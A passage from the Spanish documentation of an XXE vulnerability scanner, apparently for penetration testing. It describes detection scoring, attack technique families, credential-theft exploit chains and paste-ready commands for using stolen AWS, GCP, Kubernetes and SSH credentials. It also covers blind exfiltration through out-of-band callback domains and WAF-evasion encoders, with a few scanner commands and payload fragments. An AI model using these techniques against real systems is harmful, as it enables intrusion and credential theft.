**Veto de reflexión (duro, −100).** Si el cuerpo de la respuesta contiene una subcadena de 40 caracteres del payload (después de decodificación URL y normalización de espacios en blanco), el payload fue devuelto literalmente sin resolución de entidades. Esta es la fuente más común de falsos positivos en escáneres ingenuos — cada endpoint de "probar el parser XML" que devuelve su entrada parecería vulnerable de otro modo.
**Penalización de reflexión blanda (−30).** Si se detecta reflexión pero la respuesta *también* lleva una señal fuerte (una huella digital de archivo, un callback OOB correlacionado, integridad de cadena o un error de parser de alta confianza), el veto duro se degrada a una penalización de −30. Esto maneja el caso en el que una lectura de archivo real está incrustada dentro de una página que también devuelve parte de la solicitud.
**Veto de sin cambios (duro, −50).** Si el cuerpo de la respuesta es byte a byte idéntico al hash del cuerpo más común de la línea base, el payload no cambió nada. `strong_signal` degrada esto a una puntuación normal sin el veto.
**Coincidencia de línea base normalizada (duro, −75).** Incluso cuando el hash difiere, la respuesta puede ser estructuralmente idéntica después de eliminar espacios en blanco, blobs hexadecimales, números largos, tokens CSRF e IDs de sesión. Si es así, es ruido de línea base. Misma puerta `strong_signal`.
**Anomalía de entropía (solo ascendente).** Solo se activa cuando `median_length >= 256`. La entropía de toda la respuesta está dominada por el mobiliario de la página circundante y pierde pequeñas regiones incrustadas de alta entropía — un resultado de lectura de archivo en una página de error grande. El escaneo por ventanas (ventanas de 256 bytes, paso de 128 bytes, primeros 16 KiB) captura esas. Escala desde +5 a 0.5 bits/byte por encima de la línea base hasta +20 a 4.0 bits/byte por encima de la línea base.
### Capa 3 — Señales positivas
Cada candidato superviviente se puntúa contra la línea base:
| Señal | Peso | Ancla de línea base |
|---|---|---|
| Huella digital de contenido de archivo | +40, +5 por indicador extra | El indicador no debe aparecer en los cuerpos de línea base |
| Integridad de cadena (entidad resuelta de extremo a extremo, no solo declarada) | +25 | Estructural — la respuesta se analiza como contenido, no como marcado |
| Error de parser (alto / medio / bajo) | +20 / +15 / +5 | La cadena de error no debe aparecer en los cuerpos de línea base |
| Anomalía de tiempo confirmada | +20 | Delta ≥1.5s, ratio ≥2.5× mediana, y ya sea delta ≥4× IQR o delta ≥2× jitter observado |
| Anomalía de entropía por ventanas | +5 a +20 | Solo ascendente, escalada por delta de bits/byte |
| Callback OOB correlacionado | +50 | El token en el subdominio del callback coincide con el token pendiente |
| Callback OOB no correlacionado | +15 | El callback llegó pero el token no coincidió |
| Delta de longitud (≥20%) | +10 | Contra la longitud mediana |
| Cambio de estado | +5 | Contra el estado modal |
Las huellas digitales de archivos requieren que coincidan **al menos dos** cadenas indicadoras, y la respuesta no debe parecer marcado. Esto es lo que evita que una página que menciona `root:x:0:0:` en un fragmento de documentación active el detector de `/etc/passwd`.
### Capa 4 — Clasificación
| Puntuación | Señal obligatoria | Familias independientes | Resultado |
|---|---|---|---|
| ≥70 | Sí | ≥2 | **Confirmado** — CRITICAL |
| 45–69 | Sí | cualquiera | **Potencial** — HIGH |
| 25–44 | Sí | cualquiera | **Potencial** — MEDIUM |
| <25 | Sí | cualquiera | **Teórico** — LOW *(suprimido)* |
| cualquiera | No | cualquiera | **Teórico** — INFO *(suprimido)* |
Las **señales obligatorias** se limitan a tres: `file_type` (coincidió una huella digital de contenido de archivo), `oob_correlated` (llegó un callback OOB cripto-correlacionado) y `chain_integrity` (la entidad se resolvió de extremo a extremo). Los errores de parser y las anomalías de tiempo contribuyen a la puntuación pero no pueden confirmar un hallazgo por sí solos — un error de parser dice que el payload llegó al parser, no que la entidad se resolvió; un delta de tiempo dice que el objetivo tardó más, no que ocurrió una obtención de red.
Las **familias independientes** cuentan *tipos* de evidencia distintos: `file_type`, `oob_correlated`, `chain_integrity`, `parser_error`, `response_elapsed`. El requisito de dos familias significa que incluso con puntuación ≥70, una única huella digital fuerte no puede promoverse a CRITICAL por sí sola. Necesita una segunda señal independiente — un error de parser específico de la respuesta XXE, o una anomalía de tiempo, o integridad de cadena.
### Capa 5 — Construcción de confianza a lo largo del escaneo
Cada fase ve una imagen más confiable del objetivo que la anterior. La huella digital se ejecuta primero y controla las fases de lectura de archivos. Las fases de lectura de archivos producen loot, que siembra las etapas de cadena. Las etapas de cadena completan plantillas, que producen rollups. Los rollups se tratan como hallazgos por derecho propio y aparecen en cada formato de salida.
El resultado es un escáner que trata "limpio" como un estado a verificar en lugar de asumir, e informa la cobertura en cada etapa para que el operador pueda distinguir entre "el objetivo no es vulnerable" y "el objetivo nunca fue probado".
### Cebo de falsos positivos en el laboratorio
Los laboratorios incluidos vienen con diecisiete endpoints seguros diseñados específicamente para activar un escáner que reporta en exceso. Los cinco cebos de línea base:
- `/xml/safe` — analiza con entidades deshabilitadas. Los escáneres correctos reportan `[OK]`.
- `/xml/noise` — devuelve un cuerpo aleatorio por solicitud. La normalización de línea base lo captura.
- `/xml/stripped` — analiza XML pero elimina las declaraciones ENTITY primero. Un escáner que trata "el parser se ejecutó" como un hallazgo fallará aquí.
- `/xml/silent` — analiza pero elimina el DOCTYPE antes de analizar. No queda ninguna entidad. Cebo de falso negativo.
- `/xml/safe-metadata` — devuelve cadenas con forma de AWS dentro de HTML. La huella digital de archivo requiere dos indicadores más no-marcado para activarse — la respuesta aquí es marcado.
Más doce contrapartes seguras con alcance coincidente (`/xml/safe-form`, `/xml/safe-query`, `/xml/safe-svg`, `/xml/safe-saml`, `/xml/safe-soap`, `/xml/safe-multipart`, `/xml/safe-docx`, `/xml/safe-xinclude`, `/xml/safe-xinclude-xml`, `/xml/safe-xslt`, `/xml/safe-xsd`, `/xml/safe-pi`) que ejecutan la misma verificación de alcance que su contraparte vulnerable pero analizan con entidades deshabilitadas. Cualquier hallazgo en cualquiera de estos diecisiete endpoints es un bug del escáner.
---
## Motor de precisión
Puntuación ponderada con **puertas de señal obligatorias**. Cada respuesta candidata se puntúa contra la línea base estadística. Esta sección detalla los pesos y umbrales; la sección [Metodología de detección](#detection-methodology) explica el razonamiento.
| Señal | Peso |
|---|---|
| Callback OOB correlacionado | +50 |
| Huella digital de contenido de archivo | +40 (+5 por indicador adicional) |
| Integridad de cadena (entidad resuelta, no solo declarada) | +25 |
| Delta de error de parser (alto / medio / bajo) | +20 / +15 / +5 |
| Anomalía de tiempo confirmada | +20 |
| Anomalía de entropía por ventanas | +5 a +20, escalada por delta de bits/byte |
| Callback OOB no correlacionado | +15 |
| Delta de longitud (desviación ≥20%) | +10 |
| Cambio de código de estado | +5 |
| Penalización de reflexión (señal fuerte presente) | −30 |
| Veto de reflexión (sin señal fuerte) | −100 |
| Veto de sin cambios | −50 |
| Coincidencia de línea base normalizada | −75 |
La **entropía por ventanas** usa ventanas deslizantes de 256 bytes (paso de 128 bytes, primeros 16 KiB). Se activa solo cuando `median_length >= 256`, solo en cambios ascendentes, y solo cuando el delta supera 0.5 bits/byte. Escala desde +5 en el umbral hasta +20 a 4.0 bits/byte.
| Puntuación | Señal obligatoria | Familias independientes | Resultado |
|---|---|---|---|
| ≥70 | Sí | ≥2 | **Confirmado** — CRITICAL |
| 45–69 | Sí | cualquiera | **Potencial** — HIGH |
| 25–44 | Sí | cualquiera | **Potencial** — MEDIUM |
| <25 | Sí | cualquiera | **Teórico** — LOW *(suprimido)* |
| cualquiera | No | cualquiera | **Teórico** — INFO *(suprimido)* |
**Los hallazgos de tiempo son siempre `potential`, no `confirmed`** — un delta de tiempo dice que el objetivo tardó más, no que se resolvió una entidad.
### Mapeo de CWE
Búsqueda por prefijo más largo primero. Los hallazgos XXE llevan CWE-611; los hallazgos de divulgación de información añaden CWE-200; SSRF-vía-entidad, los fetchers XSLT/XSD y cada hallazgo `XXE-CLOUD-METADATA-*` añaden CWE-918; los wrappers PHP `expect://` y `XXE-RCE-*` añaden CWE-78; Billion Laughs es CWE-776; la reutilización de DTD local basada en errores añade CWE-829; `XXE-SAML-PRESIG` añade CWE-347; `XXE-WAF-BYPASS-*` añade CWE-693; la fase de deserialización YAML añade CWE-502.
---
## Técnicas de ataque
Más de treinta familias en diez clases.| Clase | Técnicas | Severidad | CWE |
|---|---|---|---|
| In-band | Lectura clásica de archivos, cadena de filtros PHP, SSRF vía entidad | CRITICAL | 611, 200, 918 |
| RCE in-band | PHP `expect://` | CRITICAL | 611, 78 |
| Basado en errores | Reutilización de DTD local, entidad malformada | CRITICAL | 611, 200, 829 |
| Ciego | DNS OOB, DTD externo OOB, entidad de parámetro OOB, bypass de CDATA, basado en temporización | CRITICAL / HIGH | 611 |
| Bypass de codificación | UTF-16, UTF-7, UCS-4, DOCTYPE alternativo | HIGH | 611 |
| Sinks alternativos | XInclude (`parse='text'`, `parse='xml'`), carga de SVG, sobre SAML, sobre SOAP | CRITICAL | 611, 918 |
| Fetchers extendidos | XSLT `document()`, XSLT `xsl:include`, XSD `schemaLocation`, XSD `xsd:import`, PI `xml-stylesheet`, campo XML multipart, carga de DOCX | HIGH / CRITICAL | 611, 918 |
| Metadatos de nube | AWS IMDSv1, AWS IMDSv2 (detectado), credenciales AWS IAM, AWS user-data, token/proyecto GCP, Azure IMDS/managed-identity, Alibaba RAM, OCI, secretos de Kubernetes | CRITICAL / HIGH | 611, 918, 200 |
| Wrappers RCE | Java `jar:`, PHP `data://`, PHP `phar://`, PHP `glob://`, PHP `compress.zlib://` | CRITICAL | 611, 78, 200 |
| SAML pre-firma | Cuerpo de aserción parseado antes de la verificación de firma | HIGH | 611, 347 |
| JSON-a-XML | Cambio de Content-type en endpoints solo JSON | HIGH | 611, 200 |
| Documento de Office | PI `xml-stylesheet` de DOCX/XLSX obtenido por procesadores XSLT del lado del servidor | CRITICAL | 611, 918 |
| Deserialización YAML | PyYAML `!!python/object/apply`, SnakeYAML `!!javax.script.ScriptEngineManager` | CRITICAL | 502, 611 |
| DoS | Billion Laughs | HIGH | 776 |
**Las fases de vector de entrega** sondean más allá de la forma estándar `POST` + `application/xml`:
- **Matriz de Content-Type** — el payload clásico bajo nueve tipos de contenido adyacentes a XML. Muchos servidores solo enrutan a su parser XML cuando el Content-Type coincide.
- **Variación de método HTTP** — `PUT` y `PATCH`. Las APIs REST con frecuencia aceptan XML en esos métodos incluso cuando `POST` es solo JSON.
- **Inyección por parámetro de consulta** — `?xml=`, `?data=`, `?payload=`, `?input=`. Las APIs y gateways heredados a menudo aceptan XML de esta forma incluso cuando el cuerpo no se parsea como XML.
- **Conmutación JSON-a-XML** — una sonda XML benigna determina si el endpoint acepta `application/xml` junto con su JSON anunciado. Si no se rechaza de forma dura con `415`, el escáner continúa con un payload clásico de lectura de archivos. Esto detecta Spring MVC con `jackson-dataformat-xml` en el classpath (que acepta silenciosamente XML en cualquier endpoint `@RequestBody`, sin necesidad de anotación).
**Los metadatos de nube** son una fase dedicada, no solo una entrada en una lista de URLs. Se sondean once endpoints en seis proveedores. Cada uno se huella contra claves específicas del proveedor (`AccessKeyId`, `SecretAccessKey`, `SecurityToken` para AWS IAM; `access_token`, `expires_in`, `token_type` para GCP OAuth; `vmId`, `subscriptionId` para Azure; etc.). Una respuesta que contiene marcadores de credenciales se promueve a CRITICAL y no se sondea más. **Detección de IMDSv2**: una respuesta de AWS con estado `401` y `token` en el cuerpo se reporta como `XXE-CLOUD-METADATA-IMDSV2` (HIGH) — la primitiva SSRF existe pero el servicio de metadatos exige un token de sesión. Las credenciales extraídas se enrutan a través de `LootStore.add_secret` y aterrizan en la pestaña Loot de la WebUI con fragmentos listos para pegar.
**Los wrappers XXE-a-RCE** se sondean por sus señales características de éxito:
| Wrapper | Señal |
|---|---|
| Java `jar:file://…!/META-INF/MANIFEST.MF` | `Manifest-Version`, `Main-Class` |
| PHP `data://text/plain;base64,…` | `phpinfo`, `<?php` |
| PHP `phar://…/stub` | `unserialize`, `__PHP_Incomplete_Class` |
| PHP `glob:///etc/*` | Listados de rutas (`/etc/`, `/root/`, `/usr/`) |
| PHP `compress.zlib://…` | `root:x:`, `daemon:x:` |
**SAML pre-firma** — los proveedores de servicios SAML deben parsear el cuerpo de la aserción antes de verificar la firma, la secuencia que CVE-2026-28809 (esaml) expuso. La fase envía primero una aserción SAML bien formada con una firma deliberadamente inválida; un error de parser o un `200` indica que el endpoint alcanzó el parseo XML. Solo entonces se envía el payload XXE. Se ejecuta automáticamente en URLs con forma de SAML (`saml`, `sso`, `adfs`, `okta`, `assertion`, `federation`, `idp`, `sts/`, `sp/`), o incondicionalmente con `--saml`.
**XSLT de documentos de Office** — el PI `xml-stylesheet` es respetado por procesadores de documentos del lado del servidor en algunas configuraciones: renderizadores de vista previa de Word, conversores a PDF, LibreOffice headless y Apache POI XSLF. La fase construye un DOCX (o XLSX) mínimo cuya parte `word/document.xml` (o `xl/workbook.xml`) lleva el PI apuntando a un XSLT controlado por el atacante. Un callback correlacionado prueba que la hoja de estilos fue obtenida. Distinto de XXE en sentido estricto — es invocación XSLT, que encadena a divulgación de archivos (`document('file:///etc/passwd')`) y SSRF.
**Deserialización YAML** — CWE-502, no CWE-611. El escáner incluye cuatro sondas: PyYAML `!!python/object/apply:os.system` y SnakeYAML `!!javax.script.ScriptEngineManager`, cada una entregada tanto como cuerpo `application/x-yaml` en bruto como dentro de un wrapper XML. Un callback correlacionado prueba RCE. La fase se detiene tras el primer éxito; las variantes alternativas serían ruido.
**Fases de archivos objetivo** — conjunto de prioridad de 21 rutas por defecto; `--full-file-scan` se expande a 58 rutas, añadiendo recorridos de `/proc` en Linux, código fuente de aplicaciones y archivos `.env`, rutas de credenciales SSH/AWS/GCP, marcadores de contenedores, `/run/secrets/*`, la proyección de service-account de Kubernetes, y copias de seguridad SAM de Windows, archivos unattend, registros IIS y credenciales de administrador. Deduplicadas en el momento del escaneo; ninguna ruta se sondea dos veces.
**Los hallazgos basados en errores se dividen** porque las técnicas tienen éxito contra parsers diferentes:
- `XXE-ERROR-BASED-LOCAL-DTD` — secuestra un DTD que ya existe en el sistema de archivos objetivo. Usa la forma de DOCTYPE externo aceptada por libxml2 ≥2.9.
- `XXE-ERROR-BASED-MALFORMED` — declara una entidad de parámetro dentro del subconjunto interno y deja que el error del parser filtre el archivo. Funciona en Xerces y .NET; libxml2 rechaza las PE del subconjunto interno a nivel de C.
**Las sondas de temporización** apuntan la entidad a una dirección RFC 5737 TEST-NET-1 (`http://192.0.2.1/`), que está garantizado que no es enrutable. La resolución de entidades se bloquea en el timeout de conexión TCP del resolutor.
**Fases opt-in:** `--timing` (mantiene tres conexiones de ~5s por objetivo), `--unsafe` (Billion Laughs), `--svg` (fases con forma de carga), `--saml` (SAML pre-firma), `--full-file-scan` (lista de archivos extendida), `--bypass-waf` (ver más abajo).
---
## Cadenas de Explotación y Extracción de Loot
Dos subsistemas convierten hallazgos individuales en narrativa.
### Rastreador de cadenas
Cada hallazgo que pasa por `add_finding` siembra etapas de cadena a través de un único hook: `_record_chain_stages` lee el ID del hallazgo y el dict de evidencia y registra las etapas que la combinación implica. Un hallazgo con una clave de evidencia `file_type` registra `xxe_confirmed`. Un hallazgo con un `loot_id` registra `file_content_recovered`. Un hallazgo cuya evidencia contiene `extracted_credentials` registra `credential_extracted`; si la credencial es una clave privada SSH, también se dispara `ssh_key_extracted`. Y así sucesivamente.
Se definen trece plantillas de cadena. Cada una requiere un conjunto de etapas. Cuando todas las etapas requeridas están presentes, la cadena se dispara **una vez** (protegida contra condiciones de carrera de concurrencia) y emite un hallazgo de resumen:
| ID de cadena | Ruta | Severidad |
|---|---|---|
| `xxe_inband_file_credential_theft` | XXE → lectura de archivos in-band → robo de credenciales | CRITICAL |
| `xxe_imds_iam_aws_takeover` | XXE → IMDS → credenciales IAM → toma de control de cuenta AWS | CRITICAL |
| `xxe_error_based_file_recovery` | XXE → fuga basada en errores → contenido de archivo recuperado | HIGH |
| `xxe_php_source_disclosure` | XXE → filtro PHP → divulgación de código fuente | CRITICAL |
| `xxe_rce_chain` | XXE → wrapper de protocolo → cadena RCE confirmada | CRITICAL |
| `xxe_blind_oob_confirmed` | XXE → callback OOB ciego confirmado | HIGH |
| `xxe_ssrf_internal_enum` | XXE → SSRF → servicio interno alcanzado | HIGH |
| `xxe_waf_bypass_confirmed` | XXE → bypass de WAF → resolución de entidades confirmada | HIGH |
| `xxe_kubernetes_cluster_takeover` | XXE → API de secretos de Kubernetes → robo de credenciales del clúster | CRITICAL |
| `xxe_k8s_serviceaccount_token` | XXE → lectura de token SA dentro del clúster | CRITICAL |
| `xxe_ssh_key_lateral_movement` | XXE → clave privada SSH → primitiva de movimiento lateral | HIGH |
| `xxe_gcp_oauth_token_extraction` | XXE → metadatos GCP → extracción de token OAuth | CRITICAL |
| `xxe_azure_managed_identity` | XXE → Azure IMDS → token de managed-identity | CRITICAL |
Los hallazgos de resumen llevan un rastro de pasos serializable en JSON, una puntuación agregada de 100 y una cadena de razones de longitud completa. Aparecen en la salida JSON, SARIF y HTML como cualquier otro hallazgo, y su prefijo de ID (`XXE-CHAIN-`) se excluye de la siembra de cadenas para que nunca entren en bucle.
### Almacén de loot
Cada hallazgo de lectura de archivos se enruta a través de `LootStore`, que:
1. Extrae el contenido bruto del archivo del cuerpo de la respuesta mediante `FileContentExtractor`. El extractor despacha por `(file_path, fingerprint_type)`: `/etc/passwd` y `/etc/shadow` tienen matchers orientados a líneas con fallback a mitad de línea para errores de parser que filtran un prefijo de ruta; las claves SSH usan límites PEM; `.env`, `web.ini`, `system.ini`, `boot.ini` tienen matchers de estilo INI; `web.config` usa un matcher de elemento de configuración; `/proc/self/environ` maneja cuerpos delimitados por NUL. Un fallback genérico extrae bloques `<pre>` / `<textarea>` / `<code>` de respuestas de marcado.
2. Trunca a 256 KB (las credenciales se extraen del contenido completo antes del truncado).
3. Deduplica por SHA-256 del contenido.
4. Ejecuta `CredentialExtractor` sobre el contenido completo.
`CredentialExtractor` reconoce siete tipos de credenciales:
| Tipo | Origen | Confianza |
|---|---|---|
| `aws_iam` (JSON) | AWS IMDS `AccessKeyId` / `SecretAccessKey` / `Token` | 95 |
| `aws_iam` (INI) | Archivo de credenciales de AWS CLI (`aws_access_key_id` / `aws_secret_access_key` / `aws_session_token`) | 90 |
| `alibaba_ram` | Metadatos de Alibaba Cloud (`AccessKeyId` / `AccessKeySecret` / `SecurityToken`) | 90 |
| `ssh_private_key` | Bloques de clave privada PEM (RSA, OpenSSH, DSA, EC, PKCS#8) | 90 |
| `gcp_service_account` | JSON de service-account (`"type": "service_account"` + `private_key_id`) | 85 |
| `oauth_token` | Metadatos de GCP y respuesta de managed-identity de Azure (`access_token` + `expires_in` / `expires_on`) | 85 |
| `k8s_sa_token` | `SecretList` de Kubernetes (`data.token` base64-JWT) o un archivo de token de service-account desnudo | 90 |
| `generic_bearer` | Cualquier coincidencia de `Bearer <token>` o `Authorization: <token>` con un token de 24+ caracteres | 40 |
Cada credencial produce una lista de fragmentos de shell listos para pegar:
- **AWS IAM** — `aws sts get-caller-identity` para verificar que la clave sigue funcionando, `aws s3 ls`, enumeración de políticas IAM, y un bloque `export` para el shell actual.
- **Alibaba RAM** — `aliyun sts GetCallerIdentity`, `aliyun oss ls`, y un bloque `export` con las variables de entorno `ALIBABA_CLOUD_*` correctas.
- **Clave privada SSH** — instalar, huella, y probar contra `github.com` / `gitlab.com` / `bitbucket.org`.
- **Service account de GCP** — activar la clave con `gcloud auth activate-service-account`.
- **Token de acceso OAuth** — `curl` contra el endpoint userinfo de Google (funciona para tokens de GCP) y el endpoint de suscripciones de Azure (funciona para tokens de Azure).
- **Token de service-account de Kubernetes** — fragmentos `kubectl --token=…` construidos con el namespace y el nombre de service-account decodificados de los claims del JWT, más un comando `jq` para inspeccionar los claims del token sin verificar la firma.
- **Bearer genérico** — `curl` contra `httpbin.org/bearer` para probar si el token sigue vivo.
Las credenciales extraídas se adjuntan tanto a la evidencia del hallazgo (`extracted_credentials`) como a la entrada de loot (`credentials`). La pestaña **Loot** de la WebUI y la pestaña **Overview** del Inspector las renderizan en línea con botones de copia por comando. El informe HTML las incluye bajo la sección *Extracted loot*.
El valor completo de la credencial aparece en la vista previa de Loot. El enmascaramiento se eliminó en v1.0.0 porque el mismo valor ya es visible sin enmascarar en el Inspector, la salida JSON, la salida SARIF y el informe HTML — enmascarar en un lugar y no en los otros no servía a ningún propósito.
### Enrutamiento de loot entre técnicas
La extracción de loot se ejecuta en cada hallazgo cuyo cuerpo de respuesta contiene contenido de archivo parseable:
- **Lecturas de archivos in-band** — `/etc/passwd`, `/etc/shadow`, claves SSH, `.env`, etc. Extraídas directamente de la respuesta.
- **Fugas basadas en errores** — el contenido del archivo está incrustado en el texto del error del parser. El matcher de `/etc/passwd` a mitad de línea lo captura.
- **Salida de filtro PHP** — decodificada de base64 antes de la extracción, luego enrutada a través del extractor de credenciales.
- **Resoluciones de XInclude** — el contenido inline es parseado por el mismo extractor.
- **Respuestas de metadatos de nube** — las credenciales se extraen y se enrutan a través de `LootStore.add_secret`, y los IDs de loot resultantes se adjuntan a la evidencia del hallazgo como `loot_ids`.
- **Exfiltración OOB ciega** — cuando `--oob-listen` o `--oob-dtd-dir` está activo (o el servidor DTD alojado en la WebUI), el callback lleva contenido de archivo, `OOBExfilExtractor` lo extrae, y el resultado pasa por los mismos extractores de contenido de archivo y credenciales que una lectura in-band.
La ruta de exfiltración ciega es la que cambia lo que es la herramienta. Antes de ella, `XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED` decía "el objetivo obtuvo nuestro DTD". Después de ella, el mismo hallazgo lleva `loot_id`, `extracted_content_preview` y `extracted_credentials` en su evidencia, el rastreador de cadenas ve el loot y puede disparar `xxe_blind_oob_confirmed` → `file_content_recovered` → `credential_extracted`, y la pestaña Loot de la WebUI renderiza el archivo recuperado con los mismos fragmentos listos para pegar que una lectura in-band.
---
## Confirmación Out-of-Band
XXERipper usa **`interactsh-client`** como backend OOB. Hay dos modos.
### Modo manual (por defecto)
El escáner construye payloads bajo tu dominio de sesión; el cliente hace el registro, el polling y el descifrado. El escáner nunca habla el protocolo Interactsh.```bash
# Terminal A
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
# Terminal B
xxeripper https://target.com/api/xml \
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
Cuando finaliza el escaneo, el resumen de cada objetivo incluye un bloque [OOB] que lista cada payload enviado, agrupado con su etiqueta de técnica:```
[1/1] [MANUAL-OOB] https://target.com/api/xml
Parser: libxml2
[!] 3 phase(s) skipped:
- multipart_docx, svg (no --svg and no upload-shaped URL)
- dos (no --unsafe)
[OOB] 7 payload(s) dispatched — watch your interactsh-client terminal
- [xxe-dns] xxe-dns-a1b2c3d4e5f6a7b8.c5f2a9b4e1d8a3f72c0b.oast.pro
DNS-only parameter entity (blind parser fingerprint)
- [xxe-dtd] xxe-dtd-9f8e7d6c5b4a3210.c5f2a9b4e1d8a3f72c0b.oast.pro
External DTD fetch (blind file exfiltration via DTD)
...
Cuando `interactsh-client` imprime una interacción, relaciona el prefijo del subdominio con la línea `[OOB]` correspondiente. Esa coincidencia es tu confirmación.
**El modo manual no extrae exfiltración.** En modo manual, el escáner envía payloads OOB y retorna inmediatamente — nunca lee la salida de interactsh. El contenido exfiltrado es visible en tu terminal de interactsh, no en el almacén de loot del escáner. Tanto el banner de la CLI como el ejecutor de trabajos de la WebUI imprimen una advertencia cuando la exfiltración está configurada pero el modo auto está desactivado.
### Modo auto (`--oob-auto`)
El escáner lanza `interactsh-client` como subproceso, lee su flujo de eventos `-json -v`, extrae el dominio de sesión y correlaciona los callbacks en proceso. Sin segunda terminal, sin coincidencia manual.```bash
xxeripper https://target.com/api/xml --oob-auto
# [*] Starting interactsh-client (--oob-auto)...
# [*] Session domain: c5f2a9b4e1d8a3f72c0b.oast.pro
# [*] Callbacks will be correlated automatically.
Los callbacks se imprimen en stderr en el momento en que llegan:``` [OOB-CALLBACK] dns xxe-dtd-9f8e7d6c5b4a3210 from 203.0.113.42
La correlación está basada en tokens. El escáner genera un token único de 16 hex por payload, lo incrusta en el subdominio, registra la asignación y hace coincidir las devoluciones de llamada entrantes por token. Una devolución de llamada cuyo subdominio no contenga el token pendiente específico para el payload que generó el subdominio se descarta, de modo que el tráfico DNS no relacionado no puede atribuirse erróneamente y una devolución de llamada lenta para la iteración *N* no puede atribuirse a la iteración *N+1*. Una devolución de llamada correlacionada conlleva el peso completo de +50 y contribuye con una señal obligatoria: puede promover un hallazgo a CRITICAL por sí sola (con el requisito de dos familias satisfecho por la familia OOB más la integridad de la cadena o una huella).
Los **escaneos por lotes** comparten un único proceso `interactsh-client` durante toda la vida de la ejecución. Cada objetivo obtiene su propia vista `OOBClient` con su propio conjunto de tokens, por lo que la atribución por objetivo se mantiene correcta incluso con `--threads 20`.
**En la consola web**, marcar *Auto OOB mode* genera un `interactsh-client` compartido durante toda la vida del proceso del servidor, generado de forma perezosa en el primer trabajo auto-OOB y reutilizado a partir de entonces. Varios trabajos concurrentes comparten el dominio pero mantienen conjuntos de tokens independientes.
### Exfiltración ciega
Por defecto, un hallazgo OOB confirma que se produjo la resolución de entidades: la devolución de llamada llegó y el token demuestra que era nuestra. No recupera el contenido del archivo. Para recuperar contenido, el escáner necesita servir el DTD que hace que el objetivo envíe su archivo a la URL de devolución de llamada.
Se admiten tres modos de alojamiento de DTD:
**Servidor DTD integrado** (`--oob-listen HOST:PORT --oob-public-url URL`): el escáner vincula su propio servidor HTTP y sirve DTDs bajo demanda. Ideal para laboratorios de pruebas, escaneos en el mismo host y cualquier entorno donde el objetivo pueda alcanzar la dirección del escáner.
**Servicio de DTD basado en archivos** (`--oob-dtd-dir PATH --oob-dtd-url-prefix URL`): el escáner escribe archivos DTD en un directorio; tú sirves ese directorio con nginx, Apache, `python -m http.server` o cualquier otra cosa. Ideal para objetivos remotos reales donde la propia dirección del escáner no es alcanzable.
**Servidor DTD alojado en la WebUI**: marca **Serve DTDs from this WebUI** en el panel de nuevo escaneo y proporciona el prefijo de URL público. El escáner registra los DTDs en `/dtd/<token>.dtd` en el mismo proceso Flask que ejecuta la consola. Sin segunda terminal, sin `python -m http.server`, sin directorio separado. El usuario debe asegurarse de que el objetivo pueda alcanzar la dirección de enlace de la WebUI: enlaza con `--host 0.0.0.0` y proporciona la IP pública o el nombre de host.
Cuando la exfiltración está activa, los hallazgos `XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED` y `XXE-CDATA-BYPASS-OOB` llevan el contenido del archivo extraído como loot. La misma canalización `FileContentExtractor` y `CredentialExtractor` que se ejecuta en lecturas in-band se ejecuta sobre los bytes exfiltrados, por lo que una lectura ciega de `/etc/passwd` produce la misma extracción de credenciales y fragmentos de shell listos para pegar que una in-band. El contenido exfiltrado aparece en la pestaña **Loot** de la WebUI, en el bloque `exfiltrated` de la pestaña OOB y en la sección de loot del informe HTML.
**Requisito previo.** El objetivo debe poder alcanzar tu servidor DTD. Interactsh registra las devoluciones de llamada pero no sirve contenido, por lo que no puede sustituir a un endpoint HTTP real. Esto es inherente a cómo funciona la exfiltración XXE ciega, no una limitación del escáner.
**El modo manual no exfiltra.** La exfiltración requiere que el escáner lea su propio flujo de devoluciones de llamada, lo que solo ocurre en modo `--oob-auto`. Si ejecutas el modo manual con `--oob-listen` o `--oob-dtd-dir`, los DTDs se servirán, el objetivo los obtendrá, el objetivo enviará el contenido del archivo a interactsh, pero el escáner no lo extraerá, porque nunca lee la salida de interactsh. Los datos exfiltrados son visibles en tu terminal de interactsh.
### Cuándo usar cada uno
- **Manual** es la opción predeterminada más segura. Sin subproceso, sin handshake criptográfico, y funciona con cualquier despliegue de Interactsh, incluida la coordinación totalmente aislada donde el cliente se ejecuta en un host diferente.
- **Auto** es más rápido para escaneos por lotes y CI. Un solo comando, sin referencias cruzadas. Requiere `interactsh-client` en el `PATH`. Necesario para la exfiltración.
Los **servidores autoalojados** funcionan en ambos modos sin ningún cambio en el lado del escáner: apunta `interactsh-client` a tu servidor (mediante su flag `-s` / `-server`, o envolviendo el binario en un alias de shell) y, en modo manual, pasa el dominio de sesión impreso a `--oob-domain`.
---
## Codificación de evasión de WAF
`--bypass-waf` reenvía todo el catálogo de payloads a través de uno o más codificadores *después* de que se ejecuten las fases principales. Esto prueba si un WAF está bloqueando las formas de payload clásicas pero dejando pasar un equivalente transformado, pero lo hace sin ocultar los hallazgos directos detrás del barrido codificado.
Quince codificadores en tres familias:
**Codificadores de documento** (transforman el flujo de bytes):
| Nombre | Transformación | Notas |
|---|---|---|
| `utf16be` | UTF-16 BE con BOM | Cambio clásico del flujo de bytes. La mayoría de los WAFs decodifican los cuerpos como UTF-8 y pasan por alto los nulos intercalados. |
| `utf16le` | UTF-16 LE con BOM | Mismo principio, endianness opuesta. |
| `utf16decl` | UTF-16 BE con BOM y declaración reescrita | La declaración se actualiza a `encoding="UTF-16"` para que los analizadores estrictos la acepten. |
| `utf16nobom` | UTF-16 BE sin BOM, declaración reescrita | Algunos analizadores respetan la declaración e infieren la endianness; algunos WAFs usan el BOM como señal de decodificación y omiten un cuerpo que carece de él. |
| `utf32be` | UTF-32 BE con BOM | Menos comúnmente soportado por los WAFs que UTF-16. |
| `utf32le` | UTF-32 LE con BOM | Igual, endianness opuesta. |
| `ebcdic` | EBCDIC CP037 | Casi ningún WAF decodifica EBCDIC antes de la inspección. libxml2 lo autodetecta; Xerces y .NET lo rechazan limpiamente. |
| `ucs4_2143` | Orden de bytes UCS-4 2,1,4,3 | Permutación de Unicode TR#17. El patrón de bytes no coincide con ninguna firma UTF-32 BE/LE, por lo que los WAFs no lo decodifican. El mismo orden que eludió el XmlScanner de PhpSpreadsheet en CVE-2024-47873. |
| `utf8bom` | UTF-8 con BOM | Marginal pero gratis. Derrota las regex ancladas en `^<?xml`. |
**Codificadores de evasión de palabras clave** (transforman la declaración de entidad):
| Nombre | Transformación | Notas |
|---|---|---|
